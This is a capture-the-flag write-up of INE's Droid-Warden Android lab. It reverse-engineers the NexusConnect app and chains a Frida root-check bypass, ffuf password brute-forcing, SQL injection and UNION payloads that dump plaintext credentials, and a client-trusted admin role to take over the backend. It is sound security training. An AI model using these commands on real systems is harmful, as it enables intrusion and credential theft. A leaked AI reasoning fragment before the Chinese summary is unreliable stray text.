Droid-Warden CTF by INE : How I Finished First Under Pressure
嗯,用户让我总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我需要理解这篇文章讲的是什么。看起来是关于一个Android渗透测试CTF的挑战,作者详细描述了如何通过逆向工程和API利用来完全接管后台系统。 文章提到了使用静态分析和动态分析工具,比如Jadx和Frida,来绕过检测机制。然后通过API密码暴力破解、SQL注入和业务逻辑漏洞来逐步获取权限,最终成为管理员。整个过程展示了从移动客户端到后端的全面攻击链。 用户的需求是用中文总结,所以我要确保内容准确且简洁。同时,要控制在100字以内,这意味着需要提炼出关键点:逆向工程、API利用、SQL注入、权限提升到管理员。 可能用户是安全领域的学生或从业者,想快速了解这个CTF挑战的关键步骤。深层需求可能是希望掌握类似攻击链的方法或工具使用。 总结时要突出攻击链的主要步骤和使用的工具,以及最终的结果。这样用户能快速抓住重点。 </think> 文章描述了一次Android渗透测试CTF挑战的全过程。通过静态分析和动态工具(如Jadx、Frida)绕过检测机制,利用API暴力破解、SQL注入及业务逻辑漏洞逐步获取权限,并最终实现管理员接管。整个攻击链展示了如何通过逆向工程和API信任问题完全接管后台系统。 2025-12-30 08:45:38 Author: infosecwriteups.com(查看原文) 阅读量:4 收藏

The.Flying.Wolf

INE’s Android Pentesting CTF · Medium · 14 days Challenge

Press enter or click to view image in full size

A Note Before the Technical Walkthrough

There was a moment during this CTF where quitting felt like the most sensible option.

I was preparing seriously for Droid-Warden to learn Android pentesting properly when an unexpected on-site client engagement hit travel, pressure, long hours, no pause button. For a moment, stepping away felt logical.

Instead, I kept going.

Between client work and barely any sleep, I pushed through the challenges. One late night turned into 24 hours awake, and eventually, all five flags fell. When the completion screen appeared, the feeling wasn’t celebration it was quiet validation.

Being the first to finish wasn’t about speed or rank.
It was proof that effort still counts, even when life gets heavy.

That’s the story behind this write-up.

Press enter or click to view image in full size

Winners

From Android APK to Full Admin Takeover : Reverse Engineering & API Exploitation

This write-up demonstrates how reversing an Android application and analyzing its API logic can lead to complete backend compromise, without exploiting the OS or using heavy automated tools.

The entire attack chain relies on:

  • Static APK analysis
  • Dynamic instrumentation
  • API abuse
  • SQL Injection
  • Broken authorization & business logic flaws

Lab Setup Overview

  1. Target: Android application NexusConnect
  2. Environment: Provided Android emulator and lab by INE
  3. Goal: Extract flags and escalate to administrator access

Tools Used:

  • adb
  • jadx
  • frida
  • ffuf
  • curl

Starting the Emulator & Verifying ADB Access

Step 1: Move to lab directory and start emulator

cd ~/Desktop
./startemulator.sh    # start the provided emulator

Why this is required

  • The lab provides a preconfigured emulator
  • The target APK is already installed
  • The script sets correct emulator parameters

Step 2: Verify emulator connection

adb devices

Expected Output:

List of devices attached
emulator-5554 device

Confirms:

  • Emulator is running
  • ADB can communicate with it
  • All further adb shell, adb pull, etc. will work

Identifying installed package and Extracting the APK

Step 3: Find installed packages

adb shell pm list packages | grep -i nexus

Expected Output

package:com.litesh.nexusconnect

Why: pm list packages enumerates installed packages on the Android instance. Piping to grep -i nexus filters the list for package names containing nexus (case-insensitive). This is how you find the package namespace for the app you’re testing ( com.litesh.nexusconnect in the lab).

Step 4: Locate APK path

adb shell pm path com.litesh.nexusconnect

Expected Output

package:/data/app/com.litesh.nexusconnect-_bAavAksk4n72uFHIVpCtA==/base.apk

Why: once you know the package name, pm path <package> returns the path on the device where the APK is stored (for example /data/app/com.litesh.nexusconnect-…/base.apk). This tells you exactly where to pull the APK from.

Step 5: Pull APK from emulator

adb pull /data/app/com.litesh.nexusconnect-_bAavAksk4n72uFHIVpCtA==/base.apk

Why: copies the base.apk from the emulator/device to your host machine. Need the APK locally to perform static analysis (decompilation, searching for flags, reading code, etc). adb pull is the standard way to extract files from an Android filesystem. The path must match what pm path returned; you used the concrete path from the device.

What to look for: adb pull writes base.apk into your current working directory and reports bytes transferred. If it fails, your device might not be rooted or adb lacks permission for that path, but lab emulators usually allow this.

Static Analysis Using JADX

Press enter or click to view image in full size

Flag 1 Question

Step 6: Decompile the APK

mkdir -p ~/nexus_jadx
jadx -d ~/nexus_jadx base.apk

Why: jadx is an APK decompiler that produces Dalvik bytecode into readable Java/Kotlin source-like files. -d sets the output directory. The decompiled source gives you access to activity classes, hard-coded strings, and logic (like LoginActivity) to find vulnerabilities.

Lets us inspect:

  • Activities
  • API endpoints
  • Hardcoded secrets

Step 7: Search for hardcoded hashes (MD5-like flags)

grep -RInE "[a-f0-9]{32}" ~/nexus_jadx || true

Why: recursive grep (R), case-insensitive (i), line numbers (n), using an extended regex (E) to search for any 32-character hex string (typical MD5). This finds hard-coded MD5-like flags or tokens. || true prevents the shell from treating "no matches" (grep exit code 1) as an error and stopping scripts.

FLAG-1 Identified via Static Analysis

What the result shows: FLAG-1 inside LoginActivity.java. That confirms a static flag embedded in the app binary.

Expected Output

/home/student/nexus_jadx/sources/com/litesh/nexusconnect/LoginActivity.java:30:
private final String FLAG1 = "5bc74db0e10d085b04d9ae79cfbe0965";
FLAG-1 : 5bc74db0e10d085b04d9ae79cfbe0965

Dynamic Analysis with Frida

  • The app contains emulator & root detection, which blocks certain behaviors.
  • Need to bypass them dynamically.

Step 8: Push Frida server to emulator

adb push ~/Desktop/Tools/frida-server/frida-server-16.2.1-android-x86 /data/local/tmp/frida-server

Why: Copy the frida-server binary to the device. Frida allows to instrument and modify runtime behavior of Android apps (hook methods, bypass checks, inspect memory). The frida-server runs on the device and listens for frida client connections over ADB.

adb shell "chmod 755 /data/local/tmp/frida-server"

Why: Make the binary executable. Permissions 755 are typical for an executable binary.

adb root

Why: Attempts to run adbd as root. On emulators / lab images adbd often supports adb root, which is necessary to write to protected paths or run privileged binaries. Many frida workflows require a rooted emulator or starting frida-server on a location accessible only to root.

adb remount

Why: Attempt to remount the device filesystem read / write (so to replace files or create executables in some system paths). In practice used after adb root on emulators.

Step 9: Start Frida server in background

adb shell "nohup /data/local/tmp/frida-server >/dev/null 2>&1 &"

Why: Start frida-server in background on the device. nohup prevents it from dying when the shell closes; >/dev/null 2>&1 & redirects stdout / stderr to /dev/null and backgrounds it. After this, the host frida client can attach to processes on the device.

Step 10: Launch the app

adb shell monkey -p com.litesh.nexusconnect 1

Why: monkey is a tool to launch an app via package name; -p <pkg> restricts to that package; 1 is the number of pseudo-random events (here just launching the app). This starts the target app on the emulator so frida can attach.

frida-ps -U | grep NexusConnect

Why: frida-ps -U lists running processes on the device connected via USB / ADB. Piping to grep filters for the NexusConnect process to identify its PID or process name, confirming it’s running and available for Frida attach.

Expected Output

5697  NexusConnect

Step 12: Create Frida bypass script

nano bypass.js
Java.perform(() => {
const LoginActivity = Java.use("com.litesh.nexusconnect.LoginActivity");

LoginActivity.isEmulator.implementation = function () {
console.log("[+] Emulator check bypassed");
return false;
};

LoginActivity.isDeviceRooted.implementation = function () {
console.log("[+] Root check bypassed");
return false;
};
});

Save with CTRL+S, CTRL+X

Step 13: Attach Frida

frida -U -p 5697 -l bypass.js

Why these hooks: many apps detect emulator environments or root and either disable features or exit. By overriding isEmulator() and isDeviceRooted() implementations to return false, bypass such checks at runtime so the app behaves as if it’s on a genuine non-rooted device, allowing to use instrumentation and interact with the app normally. Java.use() obtains the Java class and implementation = function(){...} replaces the original method at runtime.

frida -U -p 5697 -l bypass.js

Why: Start a Frida client session attaching to process 5697 on the device (U for USB / ADB) and load (l) the bypass.js script. After attachment Frida will patch the methods in memory so the checks are bypassed. See the console.log messages printed in the frida client when the hooked methods are called.

Note: hooking methods requires the correct class / method names as seen in the decompiled code. It is used in LoginActivity which we saw in the JADX output.

API Password Brute Force Using ffuf

Flag-2 Question

Take a new terminal

cd Desktop/Tools/ # Navigate to the ~/Desktop/Tools

Make ffuf executable

Why: Change the directory where ffuf binary lives and make it executable. ffuf is a fast web fuzzer also the web brute force tool written in Go; it needs execute permission.

chmod +x ffuf

Step 14: Run ffuf against login API

Note: INE provided the passwords.txt wordlist make use of it.

./ffuf -w passwords.txt:PASS \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"daniel","password":"PASS"}' \
-u http://nexusconnect.ine.local/api/v1/nexusconnect/login \
-mc 200

Why

  • App uses JSON-based API login
  • No rate limiting
  • ffuf efficiently brute forces credentials

Expected Output


/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0
________________________________________________

:: Method : POST
:: URL : http://nexusconnect.ine.local/api/v1/nexusconnect/login
:: Wordlist : PASS: /home/student/Desktop/Tools/passwords.txt
:: Header : Content-Type: application/json
:: Data : {"username":"daniel","password":"PASS"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________

passw0rd [Status: 200, Size: 240, Words: 2, Lines: 2, Duration: 34ms]
:: Progress: [1000/1000] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::

Found Valid credentials for daniel

passw0rd

FLAG-2 Identified after login with Valid credentials

FLAG-2 : c2c95b84b7249796650c6ea78dca4ce7

Manual Login & Token Extraction

curl -X POST \
-H "Content-Type: application/json" \
-d '{"username":"daniel","password":"passw0rd"}' \
http://nexusconnect.ine.local/api/v1/nexusconnect/login

Why this command?

  • The mobile app uses an API-based login, not a browser session.
  • POST is required because credentials are sent in the request body, not the URL.
  • Content-Type: application/json matches how the backend expects data.
  • This mimics exactly what the Android app does → no Burp needed.

Result

  • Server returns a JWT token
  • This token proves authentication and is required for all protected endpoints.
{
"token": "eyJhbGciOi..."
}

Exporting the token as an environment variable

  • Copy the "token" from the response.
  • Then export token
export token=eyJhbGciOi...

Why this is done

  • Avoids pasting the token repeatedly
  • Makes commands cleaner and less error-prone
  • Allows reuse like $token in multiple requests

This mirrors how apps store tokens in memory/session.

Finding the Vulnerable Endpoint (Client-Side RE)

Flag 3 Question

Step 15: Inspect API logic in decompiled code

sed -n '1,200p' ~/nexus_jadx/sources/com/litesh/nexusconnect/SearchEmployeeActivity.java

Why this command?

  • sed -n '1,200p' prints only the first 200 lines → faster inspection
  • This file contains network logic used by the app
  • We are reverse-engineering client-side behavior

Found Key vunerable code

public static final void onCreate$lambda$8$lambda$7(String sanitizedQuery, String token, final SearchEmployeeActivity this$0) {
Intrinsics.checkNotNullParameter(sanitizedQuery, "$sanitizedQuery");
Intrinsics.checkNotNullParameter(token, "$token");
Intrinsics.checkNotNullParameter(this$0, "this$0");
try {
URL url = new URL("http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=" + sanitizedQuery);
URLConnection openConnection = url.openConnection();
Intrinsics.checkNotNull(openConnection, "null cannot be cast to non-null type java.net.HttpURLConnection");
HttpURLConnection conn = (HttpURLConnection) openConnection;
conn.setRequestMethod("GET");
conn.setRequestProperty("Authorization", "Bearer " + token);
String response = TextStreamsKt.readText(new BufferedReader(new InputStreamReader(conn.getInputStream())));
final JSONArray jsonArray = new JSONArray(response);
this$0.runOnUiThread(new Runnable() { // from class: com.litesh.nexusconnect.SearchEmployeeActivity$$ExternalSyntheticLambda0
@Override // java.lang.Runnable
public final void run() {
SearchEmployeeActivity.onCreate$lambda$8$lambda$7$lambda$5(SearchEmployeeActivity.this, jsonArray);
}
});
} catch (Exception e) {
this$0.runOnUiThread(new Runnable() { // from class: com.litesh.nexusconnect.SearchEmployeeActivity$$ExternalSyntheticLambda1
@Override // java.lang.Runnable
public final void run() {
SearchEmployeeActivity.onCreate$lambda$8$lambda$7$lambda$6(SearchEmployeeActivity.this);
}
});
}
}

This is the SQL Injection Endpoint:

URL url = new URL(
"http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name="
+ sanitizedQuery
);

❌ Direct string concatenation
❌ No server-side sanitization
❌ Token only checked in header

Get The.Flying.Wolf’s stories in your inbox

Join Medium for free to get updates from this writer.

This confirms client-assisted vulnerability discovery

Exploiting SQL Injection

Reproducing a normal request (baseline test)

Baseline request

curl -H "Authorization: Bearer $token" \
"http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=a"

Why this matters

Confirms:

  • Token works
  • Endpoint is reachable
  • Response format is JSON
  • Establishes expected behavior before exploitation

This is important for controlled testing, not blind injection.

SQL Injection test payload

curl -H "Authorization: Bearer $token" \
"http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=%27%20OR%20%271%27%3D%271"

Why this payload?

Decoded version:

' OR '1'='1
  • ' → closes original SQL string
  • OR '1'='1' → always true
  • %27, %20, %3D → URL encoding to avoid parsing errors

What the output proves

  • Entire employee table returned

Confirms :

  • SQL injection
  • No prepared statements
  • No server-side validation

Expected Output :

student@a93b14167e48ece32c8470:~/Desktop/Tools$ curl -H "Authorization: Bearer $token" \
"http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=%27%20OR%20%271%27%3D%271"
[
{
"department": "IT",
"designation": "Junior Developer",
"id": 1,
"name": "Alice Johnson"
},
{
"department": "Finance",
"designation": "Accounts Assistant",
"id": 2,
"name": "Bob Smith"
},
{
"department": "HR",
"designation": "HR Coordinator",
"id": 3,
"name": "Carla Gomez"
},
{
"department": "IT",
"designation": "Security Analyst",
"id": 4,
"name": "Daniel Kim"
},
{
"department": "Logistics",
"designation": "Warehouse Supervisor",
"id": 5,
"name": "Eva Singh"
},
{
"department": "Marketing",
"designation": "Digital Strategist",
"id": 6,
"name": "Fahad Ali"
},
{
"department": "Customer Support",
"designation": "Escalation Specialist",
"id": 7,
"name": "Grace Lee"
},
{
"department": "Research",
"designation": "Lab Technician",
"id": 8,
"name": "Hassan Abbas"
},
{
"department": "HR",
"designation": "Senior HR Associate",
"flag": "FLAG3_b26667649bd7a781d70988f59debc559",
"id": 9,
"name": "Irene Thomas"
},
{
"department": "Operations",
"designation": "Shift Manager",
"id": 10,
"name": "James Parker"
},
{
"department": "Executive",
"designation": "System Administrator",
"id": 11,
"name": "John Nova"
}
]
Flag-3: b26667649bd7a781d70988f59debc559

UNION-Based Enumeration (SQLite)

Flag 4 Question

Column count confirmation

curl -H "Authorization: Bearer $token" \
'http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=1%27 UNION SELECT name,sql,3,4,5 FROM sqlite_master--'

Why this step is critical

  • UNION attacks must match column count

Why sqlite_master?

  • SQLite stores schema info in sqlite_master

Lets us discover:

  • Table names
  • Column structure
  • No permissions required

Also tells us:

  • Query expects 5 columns

Response maps them like this:

Output mapping

SQLite usually has tables like:

  • employees
  • users
  • admin
  • flags
  • credentials

This replaces tools like sqlmap manually.

Dumping users / admin credentials table

Once table name known, dump usernames/passwords:

UNION SELECT id, username, password, role, 5 FROM users--

Why this works

  • Columns align with expected 5-column response
  • username maps to name
  • password appears under department
  • Raw passwords stored → no hashing

This is direct credential disclosure

Dump info

curl -H "Authorization: Bearer $token" \
'http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=1%27%20UNION%20SELECT%201,name,sql,4,5%20FROM%20sqlite_master--'

FLAG-4 from table

FLAG-4 : 9f06774e1677dd539ec444f63050f4b5

Dump users table

curl -H "Authorization: Bearer $token" \
'http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=1%27%20UNION%20SELECT%20id,username,password,4,5%20FROM%20users--'

Expected Output :

[
{
"department": "pa@@ss6752@@@@@@",
"designation": 4,
"id": 1,
"name": "alice"
},
{
"department": "pass1@@2434fghfvh@",
"designation": 4,
"id": 2,
"name": "bob"
},
{
"department": "pas@@s89y96@@ubj",
"designation": 4,
"id": 3,
"name": "carla"
},
{
"department": "passw0rd",
"designation": 4,
"id": 4,
"name": "daniel"
},
{
"department": "pass@@676653fdf@@",
"designation": 4,
"id": 5,
"name": "eva"
},
{
"department": "pa@@ss4587ghvgh@@",
"designation": 4,
"id": 6,
"name": "fahad"
},
{
"department": "p@@ass09034cty@@df",
"designation": 4,
"id": 7,
"name": "grace"
},
{
"department": "p@@ass789745dfgc@@",
"designation": 4,
"id": 8,
"name": "hassan"
},
{
"department": "pa@@ss79834rdf@@gj",
"designation": 4,
"flag": 5,
"id": 9,
"name": "irenee"
},
{
"department": "pas@@sghvh565631@df",
"designation": 4,
"id": 10,
"name": "james"
},
{
"department": "adm@@inpassgvhg@65@dfs34",
"designation": 4,
"id": 11,
"name": "john"
}
]

Administrator Takeover

Flag 5 Question

Login as admin (john):

curl -X POST \
-H "Content-Type: application/json" \
-d '{"username":"john","password":"adm@@inpassgvhg@65@dfs34"}' \
http://nexusconnect.ine.local/api/v1/nexusconnect/login

Why redo login?

Admin has:

  • Higher privileges
  • Access to hidden APIs
  • JWT tokens are role-based
  • User token ≠ admin token

This is horizontal → vertical privilege escalation

Expected Output :

student@a93b141efbbacfb14e29c39bd9b69f574ca367e48ece32c8470:~/Desktop/Too
-H "Content-Type: application/json" \
-d '{"username":"john","password":"adm@@inpassgvhg@65@dfs34"}' \
http://nexusconnect.ine.local/api/v1/nexusconnect/login
{"message":"Login successful","role":"administrator","token":"eyJhbGciOiJeHAiOjE3NjQ4ODIwNjEsImlhdCI6MTc2NDg3ODQ2MX0.xeKhEhKS2t-ECVcPckOVQ_2sarNDt
student@a93b141efbbacfb14e29c39bd9b69f574ca367e48ece32c8470:~/Desktop/Tools$

Export admin token :

export AUTH="Authorization: Bearer <admin_token>"

Why separate variable?

  • Avoids mixing user / admin tokens
  • Cleaner for fuzzing and admin-only endpoints
  • Reduces accidental mistakes

Access admin dashboard:

curl -X POST -H "$AUTH" \
-H "Content-Type: application/json" \
-d '{"user_id":"11","role":"administrator"}' \
http://nexusconnect.ine.local/api/v1/nexusconnect/dashboard

Why this works

  • Backend trusts client-supplied role
  • No server-side role verification
  • Accepts arbitrary role escalation

This is a business logic flaw, not just SQLi.

Dashboard revealed secret endpoint:

"new_info_endpoint": "/api/v2/nexusconnect/<?>"

Hidden API Discovery

./ffuf -w endpoints.txt:EP \
-u "http://nexusconnect.ine.local/api/v2/nexusconnect/EP" \
-H "$AUTH" -fs 0

Why fuzzing is needed

  • Admin response hints at hidden endpoint
  • No documentation
  • Versioned API (v2) suggests new routes
  • ffuf brute-forces endpoint names efficiently

Retrieve Final Flag (FLAG5)

curl -H "$AUTH" \
http://nexusconnect.ine.local/api/v2/nexusconnect/fetch_data

Why this works

  • Endpoint is admin-only
  • JWT session identifies admin user
  • Backend trusts token blindly

Final proof of full system compromise

Expected Output :

{
"about": "NexusConnect is the official employee portal designed to streamline access to internal resources, HR services, and essential corporate tools. From routine employee tasks to sensitive HR operations, NexusConnect ensures seamless communication across the organization.",
"flag": "FLAG5_07da7a5f5cdec7bbab5f598e8d26fbc7",
"message": "Welcome to NexusConnect NexusConnect Corporation!",
"user_id_from_session": 11
}

FLAG-5 from the hidden endpoint

FLAG-5: 07da7a5f5cdec7bbab5f598e8d26fbc7

What this chain demonstrates

Phase Security Failure Login Token-only auth API No input validation SQL String concatenation DB Plaintext passwords AuthZ Client-trusted roles Admin Hidden endpoints API v2 No access control

FINAL FLAG SUMMARY

All Flags

Takeaway

This attack chain demonstrates how reverse engineering a mobile client, combined with API trust issues and SQL injection, leads to complete administrator takeover without exploiting the OS or using advanced tooling.


文章来源: https://infosecwriteups.com/droid-warden-ctf-by-ine-how-i-finished-first-under-pressure-6caad8b21155?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh